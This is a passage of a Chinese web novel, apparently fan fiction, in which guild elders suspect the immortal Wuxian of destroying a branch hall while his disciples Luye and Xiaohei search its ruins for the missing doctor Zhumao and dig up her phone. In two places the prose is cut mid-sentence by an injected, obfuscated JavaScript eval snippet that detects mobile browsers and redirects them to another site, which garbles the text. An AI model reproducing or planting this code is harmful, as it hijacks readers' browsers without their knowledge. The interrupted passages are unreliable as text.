清晨特有的柔和阳光洒在尚且蒙着些许雾气的海波之上,海风拂面,吹得甲板上的那人长发飞扬,如此意气风发,一切都是那么的美好又温柔。 看着这张照片,鹿野沉默了很久,直到慢慢地抬起双手,方才把脸埋进自己的掌心里,深深地呼吸着。 似乎只有这样做,她才能勉强平复此刻内心激荡的复杂情感。 “阿竹。”她说,“你的手要是不抖就能拍得更好看了。” 无人回答。 9.热爱奔跑 当晚,“妖灵会馆”的总馆长雨笛从外地马不停蹄地赶回来,一路上他已经提前听过秘书组的各种详细汇报和情况跟进,但等回到总馆后,哪怕时间紧迫,他还是邀请各位长老分别沟通一番。 雨笛的外表是个慈眉善目、须发皆白的小老头儿,妖精们大部分可以自行决定自己的形象外观到底是年轻还是年老一些,兴许是出于工作需要,雨笛的老头形象一看就非常老成持重、公平公正,同时具备权威与亲和这两大重要的从政属性。 当轮到池年单独进去沟通时,这位性格憨直的老虎长老犹豫片刻,还是一五一十地汇报了关于竹茂分身告知自己的事情。 毕竟在池长老看来,内鬼是谁都有可能,唯独不可能是雨笛大人——他可是统领诸多会馆的总馆长,真想要搞事至少有一百种办法,何必要以“勾结人类、袭击分会馆”这种卑劣手段来造自家的反啊? 如果雨笛馆长真的是“内鬼”……池年觉得也没什么好说的了,没救了,大伙儿等着战死吧。 “竹茂?哦哦,我记得她。” 并不知道自己在某种意义上被洗清嫌疑的雨笛恍然地摸摸自己的柔软雪白胡须:“虽然性子疲懒了一点,还时常被个别病人投诉工作态度差,但都是些无伤大雅的问题。在没加入会馆之前有些前科,可已经接受了冰云城的处罚,算是一笔勾销——说到底心不坏,嗯,是个好孩子。” 这话要是让早些年那些死在竹茂手里的亡魂听见了,大概会觉得不认识“心不坏”“好孩子”这几个字。 不过池年并未在意“有前科”这种小事,在老虎长老看来,这糟心世道但凡活得久一点,谁没点前科? 毕竟会馆的许多执行者高手在加入势力前都是称霸一方的妖王,总不能指望大家个个都是吃斋念佛、心地善良的好人吧? 在池长老想来,一个小草妖医生,能搞出什么前科呢,顶多是把几个倒霉病人不小心治死的医疗事故而已。 就好像人类拍的那劳什子《新三国演义》里说的一样,“医死的人越多,医术越高明”…… 还“冰云城的处罚”?多半是小题大做。 于是他继续跟雨笛商量了一番接下来的紧急对策,讨论完大事后,池年准备离开前忽然想起一件事,又问:“馆长,竹茂的分身先前跟我说,她踪迹这事儿千万不要告诉鹿野,所以我才故意当众宣布此人被我临时派出去了。” “但我看鹿野的脸色,她应该没那么轻易放弃追踪,是否需要我去警告她一番?” “?” 雨笛相当无语地看着池年那张郑重其事的俊脸好几秒,难免吐槽道:“池长老,你打算怎么对她说?‘嘿,鹿野,你不许去找你的朋友竹茂,不然你就是干扰公务,我有权将你拿下关押’——类似这样吗?” 池年居然认真点头:“对啊。不可以吗。” “……当然不行。”雨笛叹着气,“假设你坚持原本的说法,谁也撬不开你的嘴打听真相,鹿野不行,潜在的幕后黑手也不行,那么竹茂的行踪自然暂时是安全的。但倘若你又去欲盖弥彰一番,岂非此地无银三百两?” 池年:“……” 池年:“那个,什么是三百块的银币?怎么就跟钱有关了?” 他听不懂。 雨笛对于池长老的文盲程度早已绝望:“这是个人类成语的典故,大致意思是古时候有个人,获得了三百两的银子……” 过了片刻,池年脸臭臭地出来。 反正雨笛馆长相当直白地叫他假装不知道这事儿,就当竹茂真的去世界尽头出差了,总之别乱去警告别人。 同时加大流石会馆废墟的警戒力度,免得被袭击者再次杀个回马枪。 池年虽然言语态度很差,但工作方面很听领导的话,当即拍着胸口保证会派出好手巡逻流石废墟。 “轮到你谈话了,灵遥长老。”池年对着坐在大堂里等候谈话的几人之中的一位开口道。 “多谢告知,池长老。”灵遥习惯性地露出了亲和力十足的笑容,“与馆长的谈话议题可否透露一二?” 同为会馆长老之一,灵遥喜欢留着长长的山羊胡,须发金黄,穿着一身淡青色长袍,谈吐讲究,显得非常文雅。 只是兴许是被今日好友大松的死亡消息影响,他看起来颇有几分强颜欢笑的意思。 “还能有什么,不就是流石遇袭那事儿。”池年在这群并肩作战多年的老伙计面前也不装了,反正所有人马上都能知道那个残忍的真相,他愈发暴躁地走来走去,“更具体的情况让馆长来说吧!” “明白了。”灵遥拱拱手谢过他,放下茶盏,像是突然想起什么事情那样拍拍脑袋,一脸好奇地问:“池长老,我有一件小事想求教。” 池年瞥了一眼坐在旁边独自下棋对弈的狐狸长老西木子,以及闭目养神的女长老静一,大家都各干各的,气氛还算平缓。 因此池年点点头:“你说。” 灵遥看似漫不经心地说道:“今天总馆里有个年轻医生好像有急事找我,但我跟那人也不太熟,叫什么名字都一时半会想不起来。再加上我当时在外头奔波,无暇答复,秘书小文那边就擅自帮我拒绝了见面会谈……” “后来我回来后便听小文说——她被你临时外派公干了?” 事后查过医院监控的池年没有多想什么,知道竹茂分身在崩溃前确实先后试图联系了几位长老,灵遥也在联系名单中。可惜刚好大家都不在,只有自己今日值班,碰巧路过才被抓着托付了重任。 因此池年就按照总馆长教自己的说法坚持道:“啊,医疗组的一点小事,就是涉及一些早年的机密,所以被我随手派出去了。怎么了,灵遥长老需要我紧急召竹茂回来吗?” “那倒不必!主要是今日的坏消息太多,实在耗人心神。竹茂联系我却没联系上,就怕耽误正事。”灵遥站起身,脸上依旧保持着那种有些缅怀而悲伤的神情,“既然如今池长老已经安排妥当,那我便不再过问此事了。” 池年自傲地点点头:“嗯。” ——他认为自己替竹茂打的掩护非常完美!不用谢,这就是每个长老应该尽到的保护下属的职责! 灵遥:“……” 看出池年脸上略微自傲之色,灵遥虽说面不改色,貌似是转身独自进去找馆长谈话,实际上却没人看到他转身之际微微皱起的眉头。 池年不肯说啊……有点麻烦了。 所以竹茂到底今日有无出现在流石会馆呢? 如果出现,她到底做了什么,是否会对全盘大局产生意外影响? 如果没有出现,那么无人机影片里那个酷似【山鬼】的妖精又是谁?是否真的已经被灭口了? 面色阴郁的灵遥思考着这些不可告人的问题,踏入了前方的走廊之中。 很快,当最后一位长老的单独谈话结束,雨笛快步走出,告知了大家接下来的举措。 由于流石遇袭事件当前最大的嫌疑人是会馆最强的执行者,当代之“神”——无限。更别提有现场的监控录像为证据。 但因为无限本人太强大了,牛逼到任何人都不能无视他的个人感受,没办法如平时追捕通缉犯一样直接派出执行者队伍进行抓捕工作,所以雨笛大胆地决定——邀请无限本人来会馆详谈。 “他愿意来,我们请哪吒大人进行压阵,也不必害怕他翻脸,就当是他自投罗网!” “他不愿意来的话,那就要考虑最坏的情况了……” 就这样,会馆所有高层达成了一致的处理意见。而作为势力创始人之一,哪吒那边很快也答应了届时压阵的邀请。 ………… …… 时间一转眼来到了流石会馆遇袭的第二天,哪吒和雨笛馆长等人严阵以待——哪吒忙着在玩任地狱公司推出的最新款红色掌机,躺在藤椅上喝茶,眉头都懒得抬一下——所以是其他人在严阵以待,与空气中的假想敌互相大眼瞪小眼。 被紧急征召的无限虽然不太清楚发生了什么事情,但还是以最快速度从隐居的山林居所里跨越千里,使用传送阵,直接赶来苍南会馆。 身为人类的无限虽说如今年纪超过四百岁,但外貌上依旧是个二十来岁的青年模样,他长身玉立,儒雅随和,说话慢条斯理,一看就是非常和善的长者,多年来不知不觉间在会馆势力里积攒了数量惊人的粉丝群体。 此外,他此行还带来了自己前几年新收的小徒弟小黑,打算让孩子出门透透风,见见世面。 而作为总馆的半个本地人,身为弟子的鹿野自然是责无旁贷地去迎接自己的人类师父。 本来吧,同门师徒之间几年难得见面一次,如今应该热情地互相寒暄……但是准确来说,鹿野的表情相当不善,看起来像是要随时抓一个幸运路人直接吃掉才能缓解怒火。 情况就变成了无限在单方面寒暄,小黑则是被这个素未谋面的野生师姐此刻惊人的低压状态给吓得躲在师父的袍子后面。 “鹿野。”无限敏锐地察觉到某种异常,“你的心情不好?” “师父你误会了,我一直都这样。”鹿野板着脸转过身去,不想让师父看出自己更多的情绪不妥之处。 面对这样抗拒袒露内心的弟子,无限哪怕再强大也不可能用什么读心术强行理解这孩子,毕竟又不是在审讯犯人。 因此他只好跟全天下所有意外有了二胎小孩儿的老父亲一样,面对早已存在深刻代沟的坏脾气长女面前,好声好气到甚至有点卑微程度地说道:“需要我帮忙的话,尽管开口。” “少管闲事。”鹿野没好气地呛了一句。 问什么问,本来就烦。 有些庸医出门帮人看个病把自己搭进去,傻子一个! 鹿野昨晚一晚上没睡,睁着眼睛在到处查流石会馆那边的事件资料,越看越心惊,脑补了一大堆本平台因法律和相关限制而不可详细描述的血腥画面,彻底熬了个通宵。 虽说对于精力充沛的妖精们而言,几天几夜不合眼都是常态,但此时的鹿野主要是心里时刻压着失踪友人的重担,实在是难以缓解。 无限对此习以为常,甚至觉得鹿野这句话的攻击性没有以往那么强了。放在以往,孩子发火时说不定还要给他这个师父邦邦两拳。 ——鹿野真是脾气变好了不少。 无限竟然感到了一点点微妙的欣慰情绪。 倒是单纯的小黑气呼呼地瞪着师姐的背影,要不是无限一直用力地拉着他的手往后拽,他刚才可能都要冲出去质问鹿野为什么要这样对无限说话了。 所以小黑觉得她真是太坏了!要拿眼睛去瞪! 如此一来,这气氛和睦友爱的师门三人组各怀心思地来到了总馆待客大堂。 宛若鸿门宴一般的会馆高层齐聚,哪吒手里的摁键声咔嗒不停,毫不意外,当“真相”揭开时,鹿野和无限都不约而同地露出了愕然神情。 池年再也无法忍耐这种不温不火、大家都不敢说话的诡异气氛,他立刻站出来,厉声呵斥无限在流石会馆犯下的罪行,并表示有视频监控为证。 但灵遥也提醒说视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098490|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频这东西可以伪造,这里头也许有隐情,不过没什么人搭理他。 主要是脾气暴躁的池年一想到死去的好友大松和流石会馆里诸多可怜的妖精,就气得想要跟罪魁祸首展开一场生死厮杀的较量。 ——那些该死的人类竟敢偷袭分会馆、毫无理由地杀害那么多妖精,这已经不是一般的刁民了,出重拳!必须出重拳! 虽然对人类这个群体历来没什么好感,但这其中绝对不包括自己的师父无限,毕竟救命、传道、授业、解惑等人生大事的恩德就摆在那里,没等无限开口,鹿野就黑着脸冷嘲热讽,为自家师父辩护起来。 这会馆里的傻子怎么那么多,一个两个的,有完没完啊。 如果有人骂鹿野,她可能会完全无视地走开。但如果有人骂她重视的人,这事情就没那么容易摆平了。 于是两人一通争论,气得池年当场要撸袖子揍鹿野——当然了,肯定是打不起来的,人家师父就在一旁围观呢,池年你当无限已经死了吗? 所以其他人赶紧开始劝架。 无限全程都在闭目养神,对于两人的争执,他没有评价对错,但也根本没有打断鹿野的发言。 说明某些当师父的人此刻心里还是挺高兴的。 最后哪吒听他们吵来吵去终于听得烦了,暂停关掉掌机屏幕,主动表示自己会看管嫌疑人无限。至于其他人,爱干嘛干嘛去,总之别妨碍他游戏通关的时长。 池年虽然见不到“彻底擒拿无限令其伏法”这件事的达成,但既然无限非常和气地表示愿意配合软禁这件事,这位长老也只好勉强退了一步,默许了哪吒的提议……不默许不行,他打不过身为古神的哪吒,也打不过当代最强的无限。 他要是都能打过,“妖灵会馆”大概率可以改姓“池”。 池灵会馆?(划掉) 同时池年暗暗打定主意,在无限彻底伏法落网前,他是不会吐露关于竹茂托付的任何一个字的!嗯,池长老就是那么的信守承诺,顽强可靠! 无限在跟哪吒离开之前,特意将一脸担忧的小徒弟托付给了鹿野。鹿野虽然今日心烦意乱,却也没沦落到拿小孩子出气的程度,面对这猝不及防的场面也只能冷着脸勉强点了一下头。 无限放心了。 他的徒弟们样样都好,不管是哪一个,都是重情重义的好孩子。 孩子们相处起来他一点儿都不担心。 可惜小黑不理解无限的少许无奈与用心良苦,只能眼睛里噙着泪花,委屈而担心地目送自家师父飘然离去。 眼看散会了,长老们各干各的工作和继续摸鱼,馆长雨笛也拉着池年等人回去喝茶。倒是鹿野拽着这气鼓鼓的小男孩来到一处无人的架空层下方,询问他关于师父近日的动态。 小黑虽然心里还有点生气,觉得师姐很讨厌,但比起某个气势咄咄逼人的老虎长老,鹿野也不算最可恶的坏人了。 他一五一十地讲清楚,听完后,鹿野愈发坚信自家师父不是袭击流石会馆的罪魁祸首——开什么玩笑,真想摧毁一个分会馆并且拿走【若木】的话,无限一个人就绰绰有余了,还带那么多人类士兵跟过来? 来干嘛,当观众吃瓜吗? 话说回来,这种找观众围观自己打架的无聊事情倒是感觉阿竹会干得出来…… 鹿野一边想着奇奇怪怪的事情,一边询问:“好吧,你在会馆里有认识的其他人吗?” “嗯,有啊,鸠老和若水。”小黑报出了两个人名。 但是他很快意识到自己这个认识不超过一个小时的师姐是想要甩掉自己这个小累赘,小黑急得大声地反对起来。 “我也是师父的徒弟,我不会拖累你的!” 鹿野诧异地看了他一眼,没想到这个看起来非常软萌的小猫师弟在性格方面倒是比她想得要坚韧,这不禁令她对这孩子高看一眼。 不过表面上她还是嘴硬:“跟不上我可不会等你。” 小黑恼火的捏紧了小拳拳:“我才不会掉队!” 这师门姐弟两人一路前往传送阵广场方向,毕竟就在刚才,伴随着无限自愿配合软禁后,池年也不得不放开了鹿野的传送阵使用限制命令。 ——嫌疑人都抓到了,嫌疑人的弟子总不能继续限制行动吧? 但池年还是疑神疑鬼,思虑片刻后派了自家两个弟子过来堂而皇之地进行监视,黑头发的是甲,黄头发的是乙,俩小伙儿领了自家老大的任务后硬着头皮过来拦路,质询鹿野此行目的和意欲何为。 “还意欲何为?我看你们都活腻了!” 此时鹿野的心都已经飞到流石会馆那边了,哪里还会搭理这两个碍眼的绊脚石。她狠狠地威胁了他们两句后直接粗暴推开,带着小黑传送走了。 期间小黑猫仗姐势,昂首挺胸地从两个小伙子之间挤过去。 可怜的甲乙被吓得进退两难,只好老老实实跟师父池年汇报情况,但池年不以为意,在通讯器那头发号施令:“跟上去,鹿野这人就爱放狠话!帮我盯着她和那个小猫妖在干什么!” 事实上,此时的鹿野在瞬间已经带着小黑来到了流石会馆的废墟。 刚一出现在庙里的传送台上,鹿野的眼睛就略微睁大了一点,绷紧的脸上不禁露出些许愣神的表情。 因为在她看来,此地的大部分灵质——分明都是同一个人留下的。 阿竹的灵质在伪装和变化后兴许瞒得过别人,可是瞒不过她。 问题是……这漫山遍野都是啊! 阿竹,你又跑哪去了!? 10.捡垃圾 战后的流石会馆废墟覆盖着一层厚厚的霜雪,显然是昨天的大规模战斗导致此地的灵气出现紊乱现象,从而在某种意义上催发了这场深夜降雪。 如今雪已经停了,无论是废墟还是山林的焦土上都仿佛盖着一层厚被子。 小黑好奇地抬头环顾着眼前这陌生的一切,看着覆盖着白雪的断裂庙宇和冰冷的湖水,也注意到师姐鹿野在跟勘查现场的感知组队员交谈着什么。 没过多久,他觉得有些冷,索性直接变回了毛茸茸的原型。 小猫踩在覆有白雪的石板桥上,在扶手栏杆处留下一行梅花爪印。 鹿野第一时间瞥了一眼这只绿眼睛的黑猫幼崽,然后又忍不住瞥了一眼…… 小猫咪咪喵喵地解释这样子(原型状态下)会暖和一点。 “……”鹿野不置可否地收回目光。 其实师弟变成什么样子她也不是很在意,并没有因为觉得对方原来是只可爱小猫而忍不住看来看去,反正只要不变成哥斯拉就没问题,而且她此刻更关心别的事情。 通过与方才此地的感知组队员的简短交流,鹿野可以确定他们根本在这短短的战后时间里尚且没发现阿竹的行踪,不然这些队员和周围若隐若现的巡逻身影就不会以那么淡定的工作态度来面对此地了。 ——是的,池年长老连夜下达指示,从不同分馆抽调好手组成了几支巡逻队伍,24小时排班,加大对此地废墟的警戒力度。 虽然巡逻队员并不觉得这么一个让妖精们都感到伤心的分会馆废墟还有什么被人二度偷袭的价值,毕竟最有价值的【若木】和本地妖精们都没了。 但工作就是工作,不要问那么多原因,这些妖精老老实实地开始了巡逻。 虽然这些巡逻队员在移动状态下的藏匿能力都很不错,不过在鹿野看来,就跟一群手电筒在黑夜里到处乱晃那样显而易见,甚至都有点晃眼了。 她同样开始思考起这群实力不错的巡逻队员出现在这儿的意义,执行者们的行动必然有背后的意义,然后她很快就意识到了——池年在保护这片废墟。 为什么要保护废墟?因为仍然有某个有价值的事物存在于此。 并且……一时间难以被发现,难以被带走。 不然按照常理而言,一个正常人在条件允许的前提下,肯定要把有价值的珍宝随身携带,而不会故意将其弃置藏起。 没人能逼着池年丢弃“宝物”,所以先决条件是池年找不到那个“宝物”,又不想让其落入他人之手才会这样操作。 再联想到阿竹的能力【生灵系·命源】的隐秘,鹿野一时间只觉得担忧无比,据她所知,那家伙以前可从来没有这么大规模地用过能力。 想来这次也是被逼得没办法了才会出此下策,鹿野推测出竹茂多半是用【命源】保住了流石会馆的一些妖精的性命,才将能力催发到这种地步。 而且按照竹茂那种“好无聊今天一定要跟好朋友努力贩剑”的沙雕性格,要是她发现自己出现在流石会馆里,这个时候多半已经狗狗祟祟地不知从哪里爬出来,尝试碰头了。 可是没有。 四周万籁俱寂。 所以鹿野怀疑自己的朋友现在大概是处于一个很尴尬的隐匿状态中,既无法自主行动,也无法察觉到外界的变化。 这种状态下的阿竹会非常脆弱……随时都有可能死去。 鹿野的心沉了下去,却像是一块巨石扔进了见不到底的深渊。 她有理由怀疑,池年派出这些巡逻队员的最终目的,就是为了保住阿竹和其他幸存者。 想到这,鹿野不动声色地透过一旁的湖水倒映,瞄了一眼身后那两个光明正大跟踪的小子,内心一阵无语。 还是派人跟过来了……那头碍事烦人的土老虎。 同样传送过来的甲乙二人远远地隔着一段距离,始终向这边张望。 其实他们也怕鹿野突然暴起,把两人的脑袋给拧下来之类的——其实鹿野没有这么对妖精同胞做过那么恐怖的事情(竹茂可能会干得出来),但并不妨碍奇怪的流言传播。 但年轻妖精们又想要完成师父池年交代的任务,只好将这份监视的态度呈现得明明白白。 鹿野到处走来走去,查看着林林总总的战斗踪迹,时不时摸两下地上或者建筑上的痕迹……小黑则是抖动着耳朵,屁颠颠地跟着她到处查看情况,虽然这只猫猫什么都看不懂,纯属气氛组。 在过了将近两炷香的功夫后,转完所有战斗区域的鹿野若有所思,她找回先前交谈过的那位感知组队员西地,理直气壮地向此人索要自流石会馆传送阵修复以后所有进出这儿的人员名单和目的地。 西地面对自家感知组的老大,没什么防备心,当然是下意识地想要交出名单小本子,却被一个肤色黝黑的络腮胡壮汉抬手拦住。 “泽宇队长?” “不能给她。”泽宇冷着脸制止了下属西地掏名单的举动,随后恭敬地对鹿野略微鞠躬,“师父。” 鹿野也不恼,面色冷淡地“嗯”了一声。 一旁的小猫震惊地瞪大眼睛,没想到这么一个五大三粗的汉子居然会是师姐的徒弟。 他的外表看起来比师姐还大一轮年纪的样子…… “这是你师叔。”鹿野帮忙介绍小朋友的身份。 泽宇毫不犹豫地二鞠躬:“师叔好,久仰师叔大名。” 小黑觉得用猫咪形态来说话好像不太礼貌,当即羞涩地摸着脑袋化作人形:“你好,我叫小黑……” “小黑师叔。”泽宇三鞠躬,把礼节方面做得完美无缺。 猫儿觉得很新鲜,也算是头一回领会到“外甥比舅舅还年纪大”是一种什么感受了。 鹿野等他们互相问候完才问他,为什么不能给自己看名单? 泽宇隐晦地解释说因为咱们太师父(无限)的事儿,师父您也有很大的嫌疑,所以这种关键性的涉密名单不能交给您查看。 “好。那【若木】的追踪有没有问题?” “没有。” 面对泽宇的回答,鹿野双手抱胸,也不夸他什么,只是淡淡地说:“【若木】那种程度的灵源都追踪不到的话,你以后也别喊我师父了。” “是。”泽宇四鞠躬,毕恭毕敬。 感知和追踪是感知组的看家本领,能被池年挑出来第一时间赶来现场查看废墟,已经说明了这位队长的能力不容小觑。 鹿野点点头,转身想要带着小黑离开之际,没想到泽宇忽然开口:“师父,医院那边发生的事故我听说了。竹前辈她现在到底在……” “不该问的别多问。”鹿野面无表情地打断他。 不同于先前师徒之间的习惯性冷脸,泽宇分明看得出来,这个问题让师父一下子变得很不高兴。 或者说,本来就很不高兴,只是先前在面对自己和下属时藏住了。 ……原来是为竹前辈的事情而担忧吗?泽宇瞬间明悟。 如果说对师父鹿野的态度是敬爱和崇拜,那么泽宇对师父的好朋友竹茂前辈的态度就是——哇!是翻译器大人!我们有救了! 泽宇今年才三十多岁,这个年纪能够混到感知组的中坚骨干位置,在妖精群体里已经算得上年轻有为。 不像某些庸医,三十岁那年也才坚持不懈地杀了十一年的敌对人类而已,一身杀气重得连大润发的鱼都害怕。 刚刚拜师的头几年,鹿野师父对他很严厉,教学严格,训练也严格,不怎么会夸赞弟子。因为当年无限太师父也是这么对待鹿野师父的。 学得头晕眼花的泽宇对自家师父的真实性格也不太了解,一度担心这位冷面师父其实不喜欢自己,以及发愁自己也许无法承担起师门的威名。 但是竹前辈经常会带着零食过来探望他们这群小妖精,还偷偷告诉小泽宇——你师父收了你当徒弟,其实超级开心的,这几天一直跟我炫耀个没完没了。 这些话她没对你说过是吧?没关系,我帮她说。 你以后有什么看不懂的、听不懂的师父言语,都问我,我帮你翻译,我们当了四十年的好朋友了,她挑眉一下想揍谁我都门儿清。 当时小泽宇很惊叹,就崇拜地问竹茂,前辈前辈你为什么那么厉害?连师父想揍谁都清楚? 结果竹前辈自豪地笑了,说你师父手痒时就想揍我,我血条厚,她不用给医药费。 小泽宇不知道用什么表情来面对这样无耻变态的大人。自那以后,他就没办法如崇拜师父一样单纯地崇拜竹前辈了。 不过“翻译器”功能确实经常上线,竹前辈经常帮忙分析鹿野的真实态度、私底下对弟子的夸奖等等事情告诉泽宇……为此小泽宇没少围观自家师父破防后追着竹前辈到处打的场景。 【“混蛋,要你多嘴?泽宇是你徒弟还是我徒弟!” “鹿野你不懂,小孩儿就是要夸奖才有进步的——嗷嗷嗷别打了别打了!”】 那场面太滑稽了,泽宇当时就在旁边笑,小伙伴们也一起笑个不停。 大家都喜欢竹前辈,不仅仅是因为她身上总是能掏出零食来分给大家吃,更多的是因为……每当她出现时,平日里总是冷冰冰的师父似乎也整个人一下子变得柔软温和了起来。 当然,这话泽宇从来没有告诉过鹿野听。 三十多岁的妖精还被师父吊起来打的话,好像有点丢脸。 其实泽宇永远不会忘记自己拜师后的第一年,某天竹前辈神神秘秘地找到自己,告诉他,一周后就是鹿野的生日,你小子作为首席大弟子也是目前唯一的弟子,有没有打算表示一下啊? 泽宇想了半天,终于想起自己前段时间在某个地方的书店意外发现了一本古籍,是《西游释厄传》的明代孤本,印刷年份大概是在此书作者还活着的时候。 他原本想买来送给师父当生日礼物,可惜小妖精层级的零花钱不够,实在是囊中羞涩。 听完小孩儿的苦恼后,竹前辈立刻慷慨解囊。 【“没关系,缺的钱我给你补,你去买。到时候你就告诉你师父,说是你们几个孩子凑钱买的,千万别提我。”】 等真到了生日、送出礼物那天,鹿野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107029|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼就看穿了这蹩脚的谎言,毕竟把几个小妖精打包卖了也许都买不回这么一本古籍。 鹿野担心孩子们为了搞钱买礼物而走上歧路,当即很严厉地询问泽宇到底是哪里弄来的礼物钱。 泽宇扛不住逼问,又怕师父在生日这天大动肝火,只好供出主谋。 坐在一旁正在偷吃餐前水果的竹前辈当即露出了“你小子背刺我!?”的破防表情,连水果都忘了继续吃。 搞清楚真相的师父没生气,只是忍不住笑了笑,扭头对竹前辈正色说:【“你少搞这些弯弯绕绕的事情,回头我把钱给你,就当是我买了这本书吧。”】 几日后,泽宇又见到翘班摸鱼的竹前辈,就问师父是否真的把礼物钱给回了她。 【“没错,到头来我还有的赚。”】竹前辈有点尴尬又假装得意地搓着手,一副事情尽在掌握中的自信神态,【“其实我就是为了骗她的钱才会这样特意做局的!”】 ……真是个爱逞强的笨蛋大人。泽宇无奈地想。 但是有一点事情是年少的妖精可以确定并坚信到今天的,那就是竹前辈敦促自己准备师父的生日礼物时的那份初心,绝对不是为了骗钱。 ——竹前辈,也只是想让师父开心而已。 “对不起,师父。”年逾三十的泽宇再次深深地鞠了一躬,“请恕我多嘴。” 鹿野没回答,深深地看了他和队员一眼,背着双手转身往庙里走去。 四人就这样两两往着反方向走去。 等确认那两人听不着了,鹿野才突然问小黑能不能帮自己搞到那本小本子。 小黑的能力是【空间系】,这么近距离,玩个顺手牵羊是非常容易的事情——他乖巧地掏出了那个本应储存在感知组队员的胸口小包处的本子。 “哟呵,有点意思啊。”鹿野难得地表扬了一句,随后一目十行地看完名单,信手还给小黑:“还回去。” 猫崽照做。 一切都是那么神不知鬼不觉,只有泽宇的脚步顿了顿,像是什么都没发现一样地离开此处。 “师姐,接下来我们要做什么?要按照名单上来找人吗?”小黑急切地询问,刚刚的帮忙让他觉得自己在这个行动中终于展现出必要价值了。 “会去找的,但是有个新的问题。”鹿野低头看向自家师弟,“你的【空间系】能力最远能摸到哪里?” 按道理来说,贸然打听他人能力的底细是非常犯忌讳的事情,就类似逢人问“你这个月的工资收入多少”一样颇为冒昧。 不过小黑年纪小不懂这个,师父无限之前也没教过他这些,师父只是告诉他要信任师姐,保护师姐,别让她被坏人欺负了。 ——所以鹿野是欺负小师弟不懂这里头的门道才直接开口询问的 ,很坏:( 于是小黑扭头看了看外头湖心岛的风景,随后指着湖对面岸边散落的一块方形小石头说:“最远大概到那里。” 鹿野并没有完全相信他的话语,小孩子吹牛皮很正常,她只是平淡地说:“拿来看一看。” 小黑果然将手伸进一个黑漆漆的空间洞口,下一秒掏出了那块方形石头。 居然是实话实说。 鹿野盯着石头看了几秒,在心中估算出这个能力的大致最远距离,当即有了个底,然后她转身出去。 “跟我来。” “呀,师姐,我们去哪儿?” “想一起行动就别那么多废话。” 在鹿野的带领下,他们东绕西拐,简直都要迷路了(在小黑看来),实则是为了暂时甩开明面跟踪的甲乙和自以为暗中巡逻的巡逻队员们。 最后当猫儿都转得晕头转向之际,鹿野突然停下脚步,低头盯着眼前几棵倒塌烧焦的树干露出了些许犹豫之色。 但下一秒,那些举棋不定的情绪被某种如钢铁一般的意志所取代。 鹿野蹲下身,用露出五指的黑色战术手套拨开积雪,触碰泥土,像是在感知什么,过了片刻后突然对小黑说:“此地地面往下,18米,东偏南30°左右,有东西。小心挖。” 小黑迷茫地看着她:“东、东偏哪里?什么意思。” 鹿野:“……” 她只好按照“左西右东”的基本方法帮小猫测定了更精准的方位,然后盯着他的那只白嫩小手:“去挖吧。” 小黑也看得出师姐的态度非常慎重严肃,不像是先前应付甲乙和师侄泽宇那样随意,因此他也意识到此事的重要性。 猫儿小心翼翼地打开空间裂隙,将手伸进去摸来摸去。 仅仅是手腕还不够,他很快将整条手臂都探进去了。 鹿野几乎是紧张到了极点,右臂上的随身金属蓄势待发,要是此时周围有任何风吹草动都可能引起她的暴起反击! 令人煎熬的十几秒后,小黑费力地拔出了自己那沾满泥土的手臂,摊开手掌,惊奇地说道:“还真有东西!” 屏住呼吸的鹿野定睛一看。 不是阿竹。 ……是阿竹的手机。 血压上涌的鹿野有点想骂人了。 11.大大的花园里 手机这种东西,在现代社会当然是很重要的,甚至可以说是一个人的“命根子”也不为过,属于是临终前也要挣扎着删除历史浏览记录的程度。 鹿野感觉人都麻了。 她找了整座【流石会馆】废墟一大圈,查了所有可疑的灵质以后,就找出一部手机? 还是工作手机! 据她所知,阿竹拥有两台手机,私人手机与工作手机,网瘾程度远超一般妖精——因为这样那家伙就可以一心二用地同时玩两台手机了。 比如同时肝《痒痒鼠》和《昨天圆船》什么的,虽然没什么钱氪金,但足够爆肝。 鹿野神色阴晴不定地打量着这台手机,认出这是两年前的旧款。 在经过昨日的激烈战斗后,它不知为何藏在了深埋地底的地方,以至于表面的钢化玻璃镀膜全是裂纹,背后的硅胶手机壳也裂开了一个大口子,这些外壳显然是即将报废了。 她试着摁了摁开机键,屏幕居然一下子亮起来,残余电量显示还剩余19%。 好吧,在地底埋了一晚上,没充电,也快关机了。 此时小黑好奇地凑过来,发现屏保照片居然是鹿野师姐和另外一个不认识的姐姐的合影。 照片上两个人待在一个冰天雪地的地方,背后是蓝天和雪白的众多山峰。 那个穿着青色(始祖鸟)外套的黑头发姐姐用双手扛着一块长长的翠绿颜色大板子,放在自己肩膀后方,同时很自然亲昵地把下巴搁在鹿野的肩膀上。 自家师姐则是穿着一件修身的红色冲锋衣,以一种如拄着利剑的稳重姿态拄着身前的两根金属细杖。 两人脑门上都戴着头盔,绑在帽檐边上的护目镜折射出附近雪地的亮光,山顶的大风吹得她们的衣角在向后抖动,却难掩这两人对着镜头时露出的灿烂笑容。 那个场面就好像黑头发的姐姐讲了一个什么很烂的笑话然后自顾自地爆笑,鹿野无奈而宠溺地斜视着肩膀上的人,嘴角却也明显勾起来。 然后这一幕被他人抓拍下来做成了屏保图片。 小黑愣了愣:“原来师姐你也会这样笑啊……” 鹿野很无语地瞪了这孩子一眼:“说什么呢。” 说得她好像已经彻底面瘫了一样。 